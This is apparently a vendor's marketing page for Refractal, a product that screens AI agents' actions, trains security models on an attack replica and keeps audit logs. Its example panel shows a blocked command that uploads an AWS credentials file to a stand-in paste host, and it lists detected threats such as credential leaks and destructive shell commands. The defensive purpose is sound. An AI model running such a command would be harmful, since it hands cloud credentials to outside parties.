Secure AI where it
matters most.

Refractal connects to endpoints, cloud, AI agents, OpenTelemetry, network logs and MCP servers, and sends its findings to your SIEM, next to your EDR and NDR.

What Refractal does

Own your defences, with models trained on your own environment.

Refractal post-trains compact security models for you. Our models return structured decisions at a fraction of the cost and latency of large general models.

  • Post-trained on your policies and workflows
  • Runs in your cloud or fully on-premises

Your model

Example

Range dataFrom the replica

Your telemetryAgents, EDR and NDR

Analyst feedbackWhat your team decides

Your boundaryCloud or on-premises

Protect every agent action before it runs.

Refractal’s models sit inline on every action your agents take: allow, block, or redact sensitive values. They read agent activity alongside endpoint (EDR) and network (NDR) signals, so a compromised agent that behaves like a legitimate user still stands out.

  • Prompt injection
  • Credential leaks
  • Destructive shell commands
  • Uploads to paste and webhook sites
  • Personal data in prompts and context

Action check

Example

AgentsEvery action they take

Your modelInline, before it runs

ToolsRun only what is allowed

EDR and NDRContext for every action

curl -F file=@~/.aws/credentials paste.example.netBlocked

Attack a replica of your environment before anyone else does.

SPECTRE, our agent range, builds a working replica of your environment. Adversarial agents attack it continuously with realistic multi-step campaigns that adapt to it, alongside your benign workflows, so your models are trained and tested there before anything touches production.

Range run

Example

Your environmentNever attacked

Your replicaCopied from your environment

Adversarial agentsMulti-step campaigns

Found

Prove every decision, with a measured error rate.

A statistical assurance layer calibrates each model’s probabilities against held-out data and sets explicit error-risk bounds, so you get a measured false-positive rate and uncertain actions go to a human.

  • Measured false-positive rate
  • Explicit error-risk bounds

Evidence record

Example

Your error boundMeasured false positives 0.4%

A personReviews what is unsure

Regulated decisionA loan declined with no human review, sent to a reviewer

Previous9f3a61c2e07d

This record1c770e4b9a58

Chain verified

Within your bound

Works with the stack you already run.

Refractal connects to the models and observability tools you already use. Where it sits in the call path, through our SDK or a guard, it checks each action before it runs. Where it reads your existing traces, it scores and records what happened.

It works alongside your EDR and NDR. They see processes and traffic; Refractal sees the action an agent was about to take, and can export its detections to Google SecOps, so your SOC reads them next to the alerts it already has.

Python SDK on PyPI: pip install refractal-ai. Read the docs

Model & application layer Frontier models & copilots
  • Claude Claude Code, Claude API agents
  • OpenAI GPT agents, ChatGPT discovery
  • Open-source Bring-your-own-model
  • Microsoft Copilot Copilot use in your network logs
Observability layer Traces, evals & telemetry
  • Langfuse Open-source LLM tracing
  • LangSmith Through its OpenTelemetry export
  • OpenTelemetry GenAI traces from major frameworks
Compatible with your security stack EDR, SIEM, SOAR & network logs
  • CrowdStrikeEDR
  • Google SecOpsSIEM and SOAR
  • Microsoft DefenderEndpoint and network
  • Palo Alto NetworksCortex XSIAM
  • SplunkSIEM
  • SentinelOneEDR
  • Microsoft SentinelSIEM
  • DatadogObservability
  • ElasticSIEM
  • AikidoApplication security
  • ZeekNetwork logs

One control point for every agent.

Refractal sits between your agents and the tools, data and people they reach, and applies your policy at the moment each action happens.

Capture
Hooks trigger before key actions
Tool calls and data reads are each recorded with who asked, for what, and in what context.
Check
Your rules run against the action
The rules are built from your policies. They are versioned and can be tested like code.
Decide
Allow, block or rewrite
Decisions can be exported to Google SecOps, next to the alerts your security team already reads.
Record
Write the audit log
Each decision goes into an append-only, hash-chained log, linked to the control it relates to.
Event stream

Aligned with emerging AI standards.

AARM Autonomous Action Runtime Management

We also map to the EU AI Act, GDPR and DORA, and to ISO 27001 and SOC 2 controls through our agent-controls pack.

An open, vendor-neutral specification for intercepting AI-driven actions, evaluating them against policy and intent, and recording tamper-evident receipts. We are building our security plugin to conform to this standard.

We add new standards as they are published, so you can roll out AI without waiting for compliance to catch up.

  • AARM Runtime interception, policy evaluation, tamper-evident receipts.
  • EU AI Act Prohibited-practice checks, and obligations mapped article by article.
  • GDPR Automated decisions under Article 22 and personal-data checks on agent actions.
  • DORA ICT risk, governance and incident duties for financial firms.
  • ISO 27001 and SOC 2 An agent-controls pack that monitors actions against both.